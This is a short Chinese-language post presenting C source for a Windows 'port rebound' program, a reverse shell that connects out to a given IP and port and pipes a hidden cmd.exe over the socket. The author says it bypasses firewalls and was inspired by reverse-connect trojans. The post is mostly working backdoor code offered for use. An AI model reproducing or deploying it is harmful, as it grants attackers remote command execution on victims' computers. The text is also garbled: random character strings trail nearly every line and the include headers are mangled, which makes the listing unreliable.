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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iDA`pemmi&  
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/* ============================== bYz:gbs]4|  
Rebound port in Windows NT F&Gb[Q&a8  
By wind,2006/7 ROS0Q9X  
===============================*/ NTC,Vr\A  
#include C^a~)r.h  
#include l6~eb=u;9g  
&1&*(oi]X  
#pragma comment(lib,"wsock32.lib") '#fj)  
KK?}`o  
void OutputShell(); 8dv1#F|  
SOCKET sClient; @AwH?7(b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Gs%kqD{=  
vc<8ApK3V  
void main(int argc,char **argv) +hfl.OBy  
{ E4{8 $:q=  
WSADATA stWsaData; B?]^}r  
int nRet; Je/R'QP^8  
SOCKADDR_IN stSaiClient,stSaiServer; })":F  
l!b#v`  
if(argc != 3) q#Bdq8  
{ 5)vXmAD/0  
printf("Useage:\n\rRebound DestIP DestPort\n"); \<5xf<{  
return; \%)p7PNY  
} D`ZYF)[}J  
}\@*A1*X2  
WSAStartup(MAKEWORD(2,2),&stWsaData); ms?h/*E<H  
p(v.sP4w  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~[C m#c  
[W2k#-%G  
stSaiClient.sin_family = AF_INET; bV"0}|A~K  
stSaiClient.sin_port = htons(0); ?h {&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0@ -LV:jU  
7L!k9"X`0F  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @'S-nn,sO  
{ $V[ob   
printf("Bind Socket Failed!\n"); j8lbn|.  
return; -kJ`gdS  
} Nz m 7E]  
%bAv.'C  
stSaiServer.sin_family = AF_INET; Zffzyh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @~"0|,6VC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <_D+'[  
qZ4DO*%b3  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m^wYRA.  
{ WPPmh~:  
printf("Connect Error!"); xHf l>C'  
return;  :S.0e  
} yPL@uCzA@  
OutputShell();  z=!xN5  
} [j5L}e!T  
hE>Mo$Q(  
void OutputShell() _ ZJP]5  
{ n04Zji(F@  
char szBuff[1024]; k'm!|  
SECURITY_ATTRIBUTES stSecurityAttributes; K\uR=L7  
OSVERSIONINFO stOsversionInfo; SW bwD/SN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lOVsp#  
STARTUPINFO stStartupInfo; ]g:VvTJ;?  
char *szShell; GSypdEBj+w  
PROCESS_INFORMATION stProcessInformation; .7oz  
unsigned long lBytesRead; :Bl $c,J  
I(C_}I>Wb  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y0Ag px  
,9=a(j"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'E6)6N  
stSecurityAttributes.lpSecurityDescriptor = 0; NKRNEq!  
stSecurityAttributes.bInheritHandle = TRUE; t/HE@xPxI5  
[~x Q l  
Yk:\oM   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q K]Wk+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m#Rll[  
7Ij'!@no  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xK /NzVt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `/"TYR%  
stStartupInfo.wShowWindow = SW_HIDE; MwiT1sB~  
stStartupInfo.hStdInput = hReadPipe; =YI<L8@g~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?L'ijzP  
sq*sbdE  
GetVersionEx(&stOsversionInfo); lE /"  
@zE_fL  
switch(stOsversionInfo.dwPlatformId) HuG|BjP  
{ -V(5U! ^B  
case 1: X mLHZ,/  
szShell = "command.com"; rNdap*.  
break; o[_ {\  
default: o: qB#8X  
szShell = "cmd.exe"; Wa ,  #  
break; !YCYmxw#  
} ?k#-)inf)  
nXXyX[c4e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xCGvLvFn  
6:@tHUm  
send(sClient,szMsg,77,0); {=pf#E=  
while(1) Y!}BmRLh2  
{ #VtlXr>G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O]`CSTv'_  
if(lBytesRead) "J$vt`  
{ )0YMi!&j`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K@6$|.bc  
send(sClient,szBuff,lBytesRead,0); H+t^eg88  
} 't2"CPZ  
else RaKL KZn  
{ s@Y0"   
lBytesRead=recv(sClient,szBuff,1024,0); yPKeatH]  
if(lBytesRead<=0) break; 6*Rz}RQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y~jTI[kS  
} xrp%b1Sy  
} 0Kq\ oMn  
qa2QS._m  
return; *o`bBdZ  
}
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